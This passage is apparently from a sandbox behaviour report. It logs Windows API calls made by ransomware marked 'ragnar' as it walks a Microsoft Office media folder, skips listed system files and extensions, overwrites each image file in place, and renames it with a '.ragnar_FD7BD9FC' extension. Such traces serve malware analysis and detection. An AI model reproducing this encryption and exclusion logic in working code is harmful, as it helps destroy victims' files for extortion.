lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.406] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149627.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149627.wmf")) returned 0x20 [0095.406] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149627.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149627.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.407] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=43018) returned 1 [0095.407] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xa801, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.407] GetProcessHeap () returned 0x580000 [0095.407] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.407] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.408] VirtualAlloc (lpAddress=0x0, dwSize=0xa80a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.408] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.408] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.409] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa80a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa80a, lpOverlapped=0x0) returned 1 [0095.410] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.410] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa80a, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.410] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa80a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa80a, lpOverlapped=0x0) returned 1 [0095.410] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa80a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.410] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.411] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xa80a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.411] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.411] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.411] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.411] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.411] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.411] GetProcessHeap () returned 0x580000 [0095.411] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.411] CloseHandle (hObject=0x104) returned 1 [0095.411] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149627.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149627.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149627.WMF" [0095.411] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149627.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149627.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149627.WMF.ragnar_FD7BD9FC" [0095.411] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149627.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149627.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149627.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149627.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.412] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dd2e700, ftCreationTime.dwHighDateTime=0x1bd6439, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9dd2e700, ftLastWriteTime.dwHighDateTime=0x1bd6439, nFileSizeHigh=0x0, nFileSizeLow=0x1ffa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149887.WMF", cAlternateFileName="")) returned 1 [0095.412] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.412] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0149887.WMF" | out: lpString1="J0149887.WMF") returned="J0149887.WMF" [0095.412] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF") returned=".WMF" [0095.412] lstrcmpiW (lpString1="J0149887.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.412] lstrcmpiW (lpString1="J0149887.WMF", lpString2="autorun.inf") returned 1 [0095.412] lstrcmpiW (lpString1="J0149887.WMF", lpString2="boot.ini") returned 1 [0095.412] lstrcmpiW (lpString1="J0149887.WMF", lpString2="bootfont.bin") returned 1 [0095.412] lstrcmpiW (lpString1="J0149887.WMF", lpString2="bootsect.bak") returned 1 [0095.412] lstrcmpiW (lpString1="J0149887.WMF", lpString2="bootmgr") returned 1 [0095.412] lstrcmpiW (lpString1="J0149887.WMF", lpString2="bootmgr.efi") returned 1 [0095.412] lstrcmpiW (lpString1="J0149887.WMF", lpString2="bootmgfw.efi") returned 1 [0095.412] lstrcmpiW (lpString1="J0149887.WMF", lpString2="desktop.ini") returned 1 [0095.412] lstrcmpiW (lpString1="J0149887.WMF", lpString2="iconcache.db") returned 1 [0095.412] lstrcmpiW (lpString1="J0149887.WMF", lpString2="ntldr") returned -1 [0095.412] lstrcmpiW (lpString1="J0149887.WMF", lpString2="ntuser.dat") returned -1 [0095.413] lstrcmpiW (lpString1="J0149887.WMF", lpString2="ntuser.dat.log") returned -1 [0095.413] lstrcmpiW (lpString1="J0149887.WMF", lpString2="ntuser.ini") returned -1 [0095.413] lstrcmpiW (lpString1="J0149887.WMF", lpString2="thumbs.db") returned -1 [0095.413] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.413] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.413] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.413] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.413] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.413] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.413] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149887.wmf")) returned 0x20 [0095.414] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149887.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.414] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8186) returned 1 [0095.414] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x1ff1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.414] GetProcessHeap () returned 0x580000 [0095.414] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.414] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.416] VirtualAlloc (lpAddress=0x0, dwSize=0x1ffa, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.416] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.416] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.416] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1ffa, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1ffa, lpOverlapped=0x0) returned 1 [0095.417] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.417] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ffa, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.417] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1ffa, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1ffa, lpOverlapped=0x0) returned 1 [0095.417] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ffa, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.417] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.417] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x1ffa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.417] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.417] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.418] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.418] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.418] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.418] GetProcessHeap () returned 0x580000 [0095.418] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.418] CloseHandle (hObject=0x104) returned 1 [0095.418] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF" [0095.418] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF.ragnar_FD7BD9FC" [0095.418] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149887.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149887.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.419] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fc87200, ftCreationTime.dwHighDateTime=0x1bd7ec5, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3fc87200, ftLastWriteTime.dwHighDateTime=0x1bd7ec5, nFileSizeHigh=0x0, nFileSizeLow=0x2068, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157763.WMF", cAlternateFileName="")) returned 1 [0095.419] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.419] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0157763.WMF" | out: lpString1="J0157763.WMF") returned="J0157763.WMF" [0095.419] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157763.WMF") returned=".WMF" [0095.419] lstrcmpiW (lpString1="J0157763.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.419] lstrcmpiW (lpString1="J0157763.WMF", lpString2="autorun.inf") returned 1 [0095.419] lstrcmpiW (lpString1="J0157763.WMF", lpString2="boot.ini") returned 1 [0095.419] lstrcmpiW (lpString1="J0157763.WMF", lpString2="bootfont.bin") returned 1 [0095.419] lstrcmpiW (lpString1="J0157763.WMF", lpString2="bootsect.bak") returned 1 [0095.419] lstrcmpiW (lpString1="J0157763.WMF", lpString2="bootmgr") returned 1 [0095.419] lstrcmpiW (lpString1="J0157763.WMF", lpString2="bootmgr.efi") returned 1 [0095.419] lstrcmpiW (lpString1="J0157763.WMF", lpString2="bootmgfw.efi") returned 1 [0095.419] lstrcmpiW (lpString1="J0157763.WMF", lpString2="desktop.ini") returned 1 [0095.419] lstrcmpiW (lpString1="J0157763.WMF", lpString2="iconcache.db") returned 1 [0095.419] lstrcmpiW (lpString1="J0157763.WMF", lpString2="ntldr") returned -1 [0095.419] lstrcmpiW (lpString1="J0157763.WMF", lpString2="ntuser.dat") returned -1 [0095.419] lstrcmpiW (lpString1="J0157763.WMF", lpString2="ntuser.dat.log") returned -1 [0095.419] lstrcmpiW (lpString1="J0157763.WMF", lpString2="ntuser.ini") returned -1 [0095.419] lstrcmpiW (lpString1="J0157763.WMF", lpString2="thumbs.db") returned -1 [0095.419] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.419] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.419] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.419] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.419] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.419] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.419] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.419] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157763.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157763.wmf")) returned 0x20 [0095.420] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157763.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157763.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.420] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8296) returned 1 [0095.420] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x205f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.420] GetProcessHeap () returned 0x580000 [0095.420] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.420] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.422] VirtualAlloc (lpAddress=0x0, dwSize=0x2068, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.422] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.422] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.422] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2068, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2068, lpOverlapped=0x0) returned 1 [0095.423] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.423] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2068, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.423] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2068, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2068, lpOverlapped=0x0) returned 1 [0095.423] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2068, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.423] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.423] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x2068, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.423] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.423] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.423] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.423] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.424] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.424] GetProcessHeap () returned 0x580000 [0095.424] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.424] CloseHandle (hObject=0x104) returned 1 [0095.424] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157763.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157763.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157763.WMF" [0095.424] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157763.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157763.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157763.WMF.ragnar_FD7BD9FC" [0095.424] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157763.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157763.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157763.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157763.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.424] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaeffa900, ftCreationTime.dwHighDateTime=0x1bd94f9, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaeffa900, ftLastWriteTime.dwHighDateTime=0x1bd94f9, nFileSizeHigh=0x0, nFileSizeLow=0x1d94, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157995.WMF", cAlternateFileName="")) returned 1 [0095.424] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.425] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0157995.WMF" | out: lpString1="J0157995.WMF") returned="J0157995.WMF" [0095.425] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF") returned=".WMF" [0095.425] lstrcmpiW (lpString1="J0157995.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.425] lstrcmpiW (lpString1="J0157995.WMF", lpString2="autorun.inf") returned 1 [0095.425] lstrcmpiW (lpString1="J0157995.WMF", lpString2="boot.ini") returned 1 [0095.425] lstrcmpiW (lpString1="J0157995.WMF", lpString2="bootfont.bin") returned 1 [0095.425] lstrcmpiW (lpString1="J0157995.WMF", lpString2="bootsect.bak") returned 1 [0095.425] lstrcmpiW (lpString1="J0157995.WMF", lpString2="bootmgr") returned 1 [0095.425] lstrcmpiW (lpString1="J0157995.WMF", lpString2="bootmgr.efi") returned 1 [0095.425] lstrcmpiW (lpString1="J0157995.WMF", lpString2="bootmgfw.efi") returned 1 [0095.425] lstrcmpiW (lpString1="J0157995.WMF", lpString2="desktop.ini") returned 1 [0095.425] lstrcmpiW (lpString1="J0157995.WMF", lpString2="iconcache.db") returned 1 [0095.425] lstrcmpiW (lpString1="J0157995.WMF", lpString2="ntldr") returned -1 [0095.425] lstrcmpiW (lpString1="J0157995.WMF", lpString2="ntuser.dat") returned -1 [0095.425] lstrcmpiW (lpString1="J0157995.WMF", lpString2="ntuser.dat.log") returned -1 [0095.425] lstrcmpiW (lpString1="J0157995.WMF", lpString2="ntuser.ini") returned -1 [0095.425] lstrcmpiW (lpString1="J0157995.WMF", lpString2="thumbs.db") returned -1 [0095.425] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.425] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.425] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.425] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.425] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.425] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.425] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.425] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157995.wmf")) returned 0x20 [0095.425] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157995.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.426] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7572) returned 1 [0095.426] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x1d8b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.426] GetProcessHeap () returned 0x580000 [0095.426] RtlAllocateHeap 